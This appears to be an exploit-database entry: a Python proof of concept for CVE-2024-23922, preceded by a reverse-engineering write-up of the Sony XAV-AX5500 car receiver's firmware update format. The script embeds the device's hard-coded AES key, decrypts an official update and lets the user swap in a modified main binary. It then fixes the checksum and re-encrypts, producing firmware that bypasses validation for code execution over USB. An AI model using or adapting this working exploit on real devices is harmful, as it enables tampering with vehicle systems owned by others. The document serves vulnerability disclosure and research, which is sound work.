
9 changes to exploits/shellcodes/ghdb InfluxDB OSS 2.7.11 - Operator Token Privilege Escalation Sony XAV-AX5500 1.13 - Firmware Update Validation Remote Code Execution (RCE) GeoVision GV-ASManager 6.1.0.0 - Information Disclosure Jasmin Ransomware - Arbitrary File Download (Authenticated) jQuery 3.3.1 - Prototype Pollution & XSS Exploit Nagios Xi 5.6.6 - Authenticated Remote Code Execution (RCE) UNA CMS 14.0.0-RC - PHP Object Injection WordPress User Registration & Membership Plugin 4.1.1 - Unauthenticated Privilege Escalation
355 lines
No EOL
15 KiB
Python
Executable file
355 lines
No EOL
15 KiB
Python
Executable file
# Exploit Title: Sony XAV-AX5500 Firmware Update Validation Remote Code Execution
|
|
# Date: 11-Feb-2025
|
|
# Exploit Author: lkushinada
|
|
# Vendor Homepage: https://www.sony.com/et/electronics/in-car-receivers-players/xav-ax5500
|
|
# Software Link: https://archive.org/details/xav-ax-5500-v-113
|
|
# Version: 1.13
|
|
# Tested on: Sony XAV-AX5500
|
|
# CVE : CVE-2024-23922
|
|
|
|
# From NIST CVE Details:
|
|
# ====
|
|
# This vulnerability allows physically present attackers to execute arbitrary code on affected
|
|
# installations of Sony XAV-AX5500 devices. Authentication is not required to exploit this
|
|
# vulnerability. The specific flaw exists within the handling of software updates. The issue
|
|
# results from the lack of proper validation of software update packages. An attacker can leverage
|
|
# this vulnerability to execute code in the context of the device.
|
|
# Was ZDI-CAN-22939
|
|
# ====
|
|
|
|
# # Summary
|
|
# Sony's firmware validation for a number of their XAV-AX products relies on symetric cryptography,
|
|
# obscurity of their package format, and a weird checksum method instead of any real firmware
|
|
# signing mechanism. As such, this can be exploited to craft updates which bypass firmware validation
|
|
# and allow a USB-based attacker to obtain RCE on the infotainment unit.
|
|
|
|
# What's not mentioned in the CVE advisories, is that this method works on the majority of Sony's
|
|
# infotainment units and products which use a similar chipset or firmware package format. Tested
|
|
# to work on most firmware versions prior to v2.00.
|
|
|
|
# # Threat Model
|
|
# An attacker with physical access to an automotive media unit can typically utilize other methods
|
|
# to achieve a malicious outcome. The reason to investigate the firmware to the extent in this post
|
|
# is academic, exploratory, and cautionary, i.e. what other systems are protected in a similar
|
|
# manner? if they are, how trivial is it to bypass?
|
|
|
|
# # Disclaimer
|
|
# The information in this article is for educational purposes only.
|
|
# Tampering with an automotive system comes with risks which, if you don't understand, you should
|
|
# not be undertaking.
|
|
# THE AUTHORS DISCLAIM ANY AND ALL RESPONSIBILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES ARISING
|
|
# FROM THE USE OF ANYTHING IN THIS DOCUMENT.
|
|
|
|
|
|
# # The Unit
|
|
# ## Processors
|
|
# - DAC
|
|
# - System Management Controller (SMC)
|
|
# - Applications Processor
|
|
# - Display Processor
|
|
|
|
# Coming from a mobile and desktop computer environment, one may be use to thinking about
|
|
# the Applications Processor as the most powerful chip in the system in terms of processing power,
|
|
# size, power consumption, and system hierarchy. The first oddity of this platform is that the
|
|
# application processor is not the most powerful; that honor goes to the DAC, a beefy ARM chip on the
|
|
# board.
|
|
|
|
# The application processor does not appear to be the orchestrator of the components on the system.
|
|
# The SMC tkes which takes the role of watchdog, power state management, and input (think remote
|
|
# controls, steering wheel button presses) routing.
|
|
# For our purposes, it is the Applications processor we're interested in, as it is
|
|
# the system responsible for updating the unit via USB.
|
|
|
|
# ## Interfaces
|
|
# We're going to be attacking the unit via USB, as it's the most readily exposed
|
|
# interface to owners and would-be attackers.
|
|
# Whilst the applications processor does have a UART interface, the most recent iterations of the
|
|
# unit do not expose any headers for debugging via UART, and the one active UART line found to be
|
|
# active was for message passing between the SMC and app processor, not debug purposes. Similarly, no
|
|
# exposed JTAG interfaces were found to be readily exposed on recent iterations of the unit. Sony's
|
|
# documentation suggests these are not enabled, but this could not be verified during testing. At the
|
|
# very least, JTAG was not found to be exposed on an accessible interface.
|
|
|
|
# ## Storage
|
|
# The boards analyzed had two SPI NOR flash chips, one with an unencrypted firmware image on it. This
|
|
# firmware was RARd. The contents of SPI flash was analyzed to determine many of the details
|
|
# discussed in this report.
|
|
|
|
# ## The Updater
|
|
# Updates are provided on Sony's support website. A ZIP package is provided with three files:
|
|
# - SHDS1132.up6
|
|
# - SHMC1132.u88
|
|
# - SHSO1132.fir
|
|
# The largest of these files (8 meg), the .fir, is in a custom format, and appears encrypted.
|
|
# The FIR file has a header which contains the date of firmware publication, the strings KRSELCO and
|
|
# SKIP, a chunk of zeros, and then a highish entropy section, and some repeating patterns of interest:
|
|
|
|
# 00002070 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
|
|
# *
|
|
# 00002860 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
|
|
|
|
# 00744110 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
|
|
# *
|
|
# 00800020 b7 72 10 03 00 8c 82 7e aa d1 83 58 23 ef 82 5c |.r.....~...X#..\|
|
|
|
|
|
|
# ## SPI Flash
|
|
# Dumping the contents of the SPI flash shows a similar layout, with slightly different offsets:
|
|
# 00001fe0 10 10 10 10 10 10 10 10 ff ff ff ff ff ff ff ff |................|
|
|
# 00001ff0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
|
|
# *
|
|
# 000027f0 ff ff ff ff ff ff ff ff ff ff ff ff 00 03 e7 52 |...............R|
|
|
# 00002800 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
|
|
#
|
|
# 0007fff0 ff ff ff ff ff ff ff ff ff ff ff ff 00 6c 40 8b |.............l@.|
|
|
# 00080000 52 61 72 21 1a 07 00 cf 90 73 00 00 0d 00 00 00 |Rar!.....s......|
|
|
# ...
|
|
# 00744090 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................|
|
|
# *
|
|
# 00778000
|
|
#
|
|
# This given the offsets and spacing, we suspect that the .FIR matches the contents of the SPI.
|
|
# Decompressing the RARs at the 0x2800 and 0x80000, we get the recovery and main applications.
|
|
|
|
# Once we remove the packaging bytes, seeing that the repetive patterns align with FF's, gives
|
|
# us a strong indication the encryption function is operating in an ECB-style configuration,
|
|
# giving us an avenue, even if we do not recover the key, to potentially make modifications
|
|
# to the firmware depending on how the checksum is being calculated.
|
|
|
|
# ## Firmware
|
|
# The recovery application contains the decompression, decryption and checksum methods.
|
|
# Putting the recovery_16.bin into ghidra and setting the memory map to load us in at 0x2800,
|
|
# we start taking a look at the relevant functions by way of:
|
|
# - looking for known strings (KRSELCO)
|
|
# - analyizing the logic and looking for obvious "if this passed, begin the update, else fail"
|
|
# - looking for things that look like encryption (loads of bitshifting math in one function)
|
|
# Of interest to us, there is:
|
|
# - 0x0082f4 - a strcmp between KRSELCO and the address the incoming firmware update is at, plus 0x10
|
|
# - 0x00897a - a function which sums the total number of bytes until we hit 0xA5A5A5A5
|
|
# - 0x02d4ce - the AES decryption function
|
|
# - 0x040dd4 - strcmp (?)
|
|
# - 0x040aa4 - memcpy (?)
|
|
# - 0x046490 - the vendor plus the a number an idiot would use for their luggage, followed by enough
|
|
# padding zeros to get us to a 16 byte key
|
|
|
|
# This gives us all the information we need, other than making some guesses as to the general package
|
|
# and header layout of the update package, to craft an update packager that allows arbitrary
|
|
# modification of the firmware.
|
|
|
|
# # Proof of Concept
|
|
# The PoC below will take an existing USB firmware update, decrypt and extract the main binary,
|
|
# pause whilst you make modifications (e.g. changing the logic or modifying a message), and repackage
|
|
# the update.
|
|
|
|
# ## Requirements
|
|
# - Unixish system
|
|
# - WinRar 2.0 (the version the Egyptians built the pyramids with)
|
|
|
|
# ## Usage
|
|
# cve-2024-23922.py path_to_winrar source.fir output.fir
|
|
|
|
import argparse
|
|
import sys
|
|
import os
|
|
import tempfile
|
|
import shutil
|
|
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
|
|
from cryptography.hazmat.backends import default_backend
|
|
|
|
# Filenames as found in the .FIR
|
|
MAIN_BINARY_NAME="main_16.bin"
|
|
MAIN_RAR_NAME="main_16.rar"
|
|
DECRYPTED_FILE_NAME="decrypt.bin"
|
|
ENCRYPTED_FILE_NAME="encrypt.bin"
|
|
|
|
# Offsets in the .FIR
|
|
HEADER_LENGTH=0x80
|
|
RECOVERY_OFFSET=0x2800
|
|
MAIN_OFFSET=0x80000
|
|
CHECKSUM_OFFSET=0x800000-0x10
|
|
CHECKSUM_SIZE=0x4
|
|
RAR_LENGTH_OFFSET=0x4
|
|
RAR_LENGTH_SIZE=0x4
|
|
|
|
# From 0x46490 in recovery_16.bin
|
|
ENCRYPTION_KEY=b'\x54\x41\x4d\x55\x4c\x31\x32\x33\x34\x00\x00\x00\x00\x00\x00\x00'
|
|
|
|
def decrypt_file(input_file, output_file):
|
|
backend = default_backend()
|
|
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
|
|
decryptor = cipher.decryptor()
|
|
|
|
with open(input_file, 'rb') as file:
|
|
ciphertext = file.read()
|
|
|
|
# Strip the unencrypted header
|
|
ciphertext = ciphertext[HEADER_LENGTH:]
|
|
|
|
decrypted_data = decryptor.update(ciphertext) + decryptor.finalize()
|
|
|
|
with open(output_file, 'wb') as file:
|
|
file.write(decrypted_data)
|
|
|
|
def aes_encrypt_file(input_file, output_file):
|
|
backend = default_backend()
|
|
cipher = Cipher(algorithms.AES(ENCRYPTION_KEY), modes.ECB(), backend=backend)
|
|
encryptor = cipher.encryptor()
|
|
|
|
with open(input_file, 'rb') as file:
|
|
plaintext = file.read()
|
|
|
|
ciphertext = encryptor.update(plaintext) + encryptor.finalize()
|
|
|
|
with open(output_file, 'wb') as file:
|
|
file.write(ciphertext)
|
|
|
|
def get_sony_32(data):
|
|
csum = int()
|
|
for i in data:
|
|
csum = csum + i
|
|
return csum % 2147483648 # 2^31
|
|
|
|
def validate_args(winrar_path, source_file, destination_file):
|
|
# Check if the WinRAR executable exists and is a file
|
|
if not os.path.isfile(winrar_path) or not os.access(winrar_path, os.X_OK):
|
|
print(f"[x] Error: The specified WinRAR path '{winrar_path}' is not a valid executable.")
|
|
sys.exit(1)
|
|
|
|
# Check if the source file exists
|
|
if not os.path.isfile(source_file):
|
|
print(f"[x] Error: The specified source file '{source_file}' does not exist.")
|
|
sys.exit(1)
|
|
|
|
# Read 8 bytes from offset 0x10 in the source file
|
|
try:
|
|
with open(source_file, 'rb') as f:
|
|
f.seek(0x10)
|
|
signature = f.read(8)
|
|
if signature != b'KRSELECO':
|
|
print(f"[x] Error: The source file '{source_file}' does not contain the expected signature.")
|
|
sys.exit(1)
|
|
except Exception as e:
|
|
print(f"[x] Error: Failed to read from '{source_file}': {e}")
|
|
sys.exit(1)
|
|
|
|
# Check if the destination file already exists
|
|
if os.path.exists(destination_file):
|
|
print(f"[x] Error: The destination file '{destination_file}' already exists.")
|
|
sys.exit(1)
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(description="CVE-2024-23922 Sony XAV-AX5500 Firmware Modifier")
|
|
parser.add_argument("winrar_path", help="Path to WinRAR 2.0 executable (yes, the ancient one)")
|
|
parser.add_argument("source_file", help="Path to original .FIR file")
|
|
parser.add_argument("destination_file", help="Path to write the modified .FIR file to")
|
|
|
|
args = parser.parse_args()
|
|
|
|
validate_args(args.winrar_path, args.source_file, args.destination_file)
|
|
RAR_2_PATH = args.winrar_path
|
|
GOOD_FIRMWARE_FILE = args.source_file
|
|
DESTINATION_FIRMWARE_FILE = args.destination_file
|
|
|
|
# make temporary directory
|
|
workdir = tempfile.mkdtemp(prefix="sony_firmware_modifications")
|
|
|
|
# copy the good firmware file into the temp directory
|
|
temp_fir_file = os.path.join(workdir, os.path.basename(GOOD_FIRMWARE_FILE))
|
|
shutil.copyfile(GOOD_FIRMWARE_FILE, temp_fir_file)
|
|
|
|
print("[+] Cutting the head off and decrypting the contents")
|
|
decrypted_file_path = os.path.join(workdir, DECRYPTED_FILE_NAME)
|
|
decrypt_file(input_file=temp_fir_file, output_file=decrypted_file_path)
|
|
|
|
print("[+] Dump out the rar file")
|
|
with open(decrypted_file_path, 'rb') as file:
|
|
# right before the rar file there is a 4 byte length header for the rar file. get that.
|
|
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
|
|
original_rar_length = int.from_bytes(file.read(RAR_LENGTH_SIZE), "big")
|
|
rar_file_bytes = file.read(original_rar_length)
|
|
|
|
# now dump that out
|
|
rar_file_path=os.path.join(workdir, MAIN_RAR_NAME)
|
|
with open(rar_file_path, 'wb') as rarfile:
|
|
rarfile.write(rar_file_bytes)
|
|
|
|
# check that the stat of the file matches what the header told us
|
|
dumped_rar_size = os.stat(rar_file_path).st_size
|
|
if dumped_rar_size != original_rar_length:
|
|
print("[!] extracted filesizes dont match, there may be corruption", dumped_rar_size, original_rar_length)
|
|
|
|
print("[+] Extracting the main binary from the rar file")
|
|
os.system("unrar x " + rar_file_path + " " + workdir)
|
|
|
|
print("[!] Okay, I'm now going to wait until you have had a chance to make modifications")
|
|
print("Please modify this file:", os.path.join(workdir, MAIN_BINARY_NAME))
|
|
input()
|
|
|
|
print("[+] Continuing")
|
|
print("[+] Putting your main binary back into the rar file")
|
|
os.system("wine " + RAR_2_PATH + " u -tk -ep " + rar_file_path + " " + workdir + "/" + MAIN_BINARY_NAME)
|
|
|
|
# we could fix this by writing some FFs
|
|
new_rar_size=os.stat(rar_file_path).st_size
|
|
if dumped_rar_size > os.stat(rar_file_path).st_size:
|
|
print("[!!] The rar size is smaller than the old one. This might cause a problem.")
|
|
print("[!!] Push any key to continue, ctrl+c to abort")
|
|
input()
|
|
|
|
with open(decrypted_file_path, 'r+b') as file:
|
|
# right before the rar file there is a 4 byte length header for the rar file. go back there
|
|
file.seek(MAIN_OFFSET-RAR_LENGTH_OFFSET)
|
|
|
|
# overwrite the old size with the new size
|
|
file.write(new_rar_size.to_bytes(RAR_LENGTH_SIZE, "big"))
|
|
|
|
print("[+] Deleting the old rar from the main container")
|
|
# delete the old rar from the main container by FFing it up
|
|
file.write(b'\xFF'*original_rar_length)
|
|
|
|
# seek back to the start
|
|
file.seek(MAIN_OFFSET)
|
|
|
|
print("[+] Loading the new rar back into the main container")
|
|
with open(rar_file_path, 'rb') as rarfile:
|
|
new_rarfile_bytes = rarfile.read()
|
|
file.write(new_rarfile_bytes)
|
|
|
|
print("[+] Updating Checksum")
|
|
with open(decrypted_file_path, 'rb') as file:
|
|
contents = file.read()
|
|
|
|
contents = contents[:-0x0010]
|
|
s32_sum = get_sony_32(contents)
|
|
|
|
with open(decrypted_file_path, 'r+b') as file:
|
|
file.seek(CHECKSUM_OFFSET)
|
|
# read out the current checksum
|
|
old_checksum_bytes=file.read(CHECKSUM_SIZE)
|
|
print("old checksum:", int.from_bytes(old_checksum_bytes, "big"), old_checksum_bytes)
|
|
|
|
# go back and update it with new checksum
|
|
print("new checksum:", s32_sum, hex(s32_sum))
|
|
new_checksum_bytes=s32_sum.to_bytes(CHECKSUM_SIZE, "big")
|
|
file.seek(CHECKSUM_OFFSET)
|
|
file.write(new_checksum_bytes)
|
|
|
|
print("[+] Encrypting the main container back up")
|
|
encrypted_file_path = os.path.join(workdir, ENCRYPTED_FILE_NAME)
|
|
aes_encrypt_file(decrypted_file_path, encrypted_file_path)
|
|
|
|
print("[+] Reattaching the main container to the header and writing to dest")
|
|
with open(DESTINATION_FIRMWARE_FILE, 'wb') as file:
|
|
with open(temp_fir_file, 'rb') as firfile:
|
|
header = firfile.read(HEADER_LENGTH)
|
|
file.write(header)
|
|
with open(encrypted_file_path, 'rb') as encfile:
|
|
enc_contents = encfile.read()
|
|
file.write(enc_contents)
|
|
|
|
print("[+] DONE!!! Any key to delete temp files, ctrl+c to keep them.")
|
|
input()
|
|
shutil.rmtree(workdir)
|
|
|
|
if __name__ == "__main__":
|
|
main() |